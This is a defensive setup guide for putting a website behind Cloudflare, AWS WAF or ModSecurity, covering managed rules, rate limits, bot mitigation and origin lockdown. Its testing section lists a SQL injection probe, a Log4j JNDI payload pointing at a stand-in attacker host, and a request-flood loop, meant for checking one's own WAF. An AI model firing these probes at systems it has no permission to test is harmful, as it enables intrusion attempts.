Steven's Knowledge

Getting Started

Put a site behind Cloudflare, enable WAF managed rules, configure rate limits, test bot mitigation, set up AWS WAF

Getting Started

This page walks getting basic edge protection in place with Cloudflare (the fastest path) and AWS WAF (for AWS-native shops).

Path A: Cloudflare for a Site

The simplest edge protection. Free tier handles most small-to-medium sites.

Onboard the domain

  1. Create a Cloudflare account.
  2. Add your domain. Cloudflare scans your existing DNS.
  3. Change your nameservers at your registrar to Cloudflare's. Within a few hours, traffic flows through Cloudflare.

By default you now get: DDoS protection (volumetric), basic WAF rules, edge caching of static content, free TLS.

Enable WAF managed rule sets

Dashboard → Security → WAF → Managed Rules:

  • Cloudflare Managed Ruleset — the baseline OWASP-aligned rules. Enable in Log mode first.
  • Cloudflare OWASP Core Ruleset — heavier; more false positives. Same: log first.
  • Cloudflare Exposed Credentials Check — detects creds in commits, in transit. Worth enabling.

After a week in Log mode, review the WAF events dashboard. False positives common ones:

  • Your admin form looks like SQL injection
  • Your /api/v1/... endpoint payload triggers XSS rule
  • Health checks tripping rate limits

Add exceptions for legitimate traffic before flipping to Block.

Rate limiting

Dashboard → Security → WAF → Rate Limiting Rules.

A standard one:

Name: protect-login-from-brute-force
If: URI Path equals "/login"
Characteristics: IP address
Period: 10 seconds
Requests: 5
Action: Block
Duration: 10 minutes

For API-key authenticated traffic, key by header:

Characteristics: Header value (X-API-Key)

Bot Fight Mode

Dashboard → Security → Bots → Configure Super Bot Fight Mode:

  • Definitely automated: Block — these are bot signatures Cloudflare is sure of
  • Likely automated: Managed Challenge — show a JavaScript challenge first
  • Verified bots: Allow — Googlebot, Bingbot, etc.

Free tier gives you the basic version; Pro adds finer controls and analytics.

Cloudflare Turnstile (free reCAPTCHA replacement)

For forms, embed Turnstile:

<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async></script>
<div class="cf-turnstile" data-sitekey="0x4AAA..."></div>

Server side, verify the response:

curl -s 'https://challenges.cloudflare.com/turnstile/v0/siteverify' \
  -d "secret=YOUR_SECRET&response=$TOKEN"

Invisible most of the time for legitimate users; difficult for headless bots.

Verify Origin Protection

Cloudflare protects you only if attackers can't reach your origin directly. Lock the origin to Cloudflare IPs:

# AWS Security Group
aws ec2 authorize-security-group-ingress \
  --group-id sg-abc123 \
  --protocol tcp --port 443 \
  --source-ranges $(curl -s https://www.cloudflare.com/ips-v4 | tr '\n' ',')

Or use Cloudflare Tunnel (VPN & Zero Trust) — origin has no public IP at all; Cloudflare is the only path in.

Path B: AWS WAF + CloudFront

For AWS-native deployments:

Create a Web ACL

aws wafv2 create-web-acl \
  --name production-acl \
  --scope CLOUDFRONT \
  --default-action Allow={} \
  --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=ProductionACL \
  --region us-east-1

Attach AWS Managed Rules

aws wafv2 update-web-acl \
  --name production-acl --scope CLOUDFRONT \
  --id $WEB_ACL_ID \
  --lock-token $LOCK_TOKEN \
  --default-action Allow={} \
  --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=ProductionACL \
  --rules '[
    {
      "Name": "AWSManagedRulesCommonRuleSet",
      "Priority": 0,
      "Statement": {
        "ManagedRuleGroupStatement": {
          "VendorName": "AWS",
          "Name": "AWSManagedRulesCommonRuleSet"
        }
      },
      "OverrideAction": {"None": {}},
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "common-rules"
      }
    },
    {
      "Name": "AWSManagedRulesKnownBadInputsRuleSet",
      "Priority": 1,
      "Statement": {
        "ManagedRuleGroupStatement": {
          "VendorName": "AWS",
          "Name": "AWSManagedRulesKnownBadInputsRuleSet"
        }
      },
      "OverrideAction": {"None": {}},
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "bad-inputs"
      }
    }
  ]'

Common managed rule groups:

  • AWSManagedRulesCommonRuleSet — baseline OWASP
  • AWSManagedRulesKnownBadInputsRuleSet — known exploits (Log4j, etc.)
  • AWSManagedRulesAdminProtectionRuleSet — block obvious admin probes
  • AWSManagedRulesSQLiRuleSet — SQLi
  • AWSManagedRulesLinuxRuleSet — Linux shell exploits

Attach to CloudFront

aws cloudfront update-distribution \
  --id $DISTRIBUTION_ID \
  --distribution-config 'WebACLId=arn:aws:wafv2:us-east-1:...:global/webacl/production-acl/...'

Traffic now flows: CloudFront → WAF → origin (S3 / ALB / API Gateway).

Add a Custom Rule

Block traffic from a specific country, except for an allowlist:

aws wafv2 update-web-acl --rules '...
  {
    "Name": "BlockCountryX-NotAllowlisted",
    "Priority": 10,
    "Statement": {
      "AndStatement": {
        "Statements": [
          { "GeoMatchStatement": { "CountryCodes": ["XX"] } },
          { "NotStatement": {
              "Statement": {
                "IPSetReferenceStatement": { "ARN": "arn:aws:wafv2:.../allowlist" }
              }
            }
          }
        ]
      }
    },
    "Action": {"Block": {}},
    ...
  }'

AWS Shield Standard vs Advanced

  • Standard: free, automatic, basic L3/L4 DDoS protection
  • Advanced: paid, includes 24/7 response team, attack analytics, DDoS cost protection

For workloads at risk (financial, gaming, controversial content), Shield Advanced is worth the cost.

Test Your Setup

Use OWASP ZAP or curl against your domain:

# SQLi probe — should be blocked or flagged
curl "https://your-site.com/?id=1' OR '1'='1"

# Common bad inputs — Log4j
curl "https://your-site.com/" -H 'User-Agent: ${jndi:ldap://evil.com/x}'

# Rate limit test
for i in {1..50}; do curl -s -o /dev/null -w "%{http_code}\n" https://your-site.com/login; done

Check the WAF dashboard for matches. Refine rules based on what you see.

Self-Hosted: ModSecurity + OWASP CRS

If your stack must be self-hosted, ModSecurity in nginx is the standard:

# nginx with modsecurity-nginx
load_module modules/ngx_http_modsecurity_module.so;

http {
  modsecurity on;
  modsecurity_rules_file /etc/nginx/modsec/main.conf;

  server {
    location / {
      proxy_pass http://upstream-app;
    }
  }
}

/etc/nginx/modsec/main.conf:

Include /etc/nginx/modsec/modsecurity.conf
Include /usr/share/modsecurity-crs/crs-setup.conf
Include /usr/share/modsecurity-crs/rules/*.conf

# DetectionOnly during initial tuning
SecRuleEngine DetectionOnly

# Once tuned, switch to On:
# SecRuleEngine On

OWASP Core Rule Set covers most common attacks. Tune in DetectionOnly mode for a week; switch to On after exceptions are configured.

What's Next

  • Patterns — layered defense, custom rules, virtual patching, bot strategy, API protection
  • Best Practices — tuning false positives, attack response runbook, common pitfalls

On this page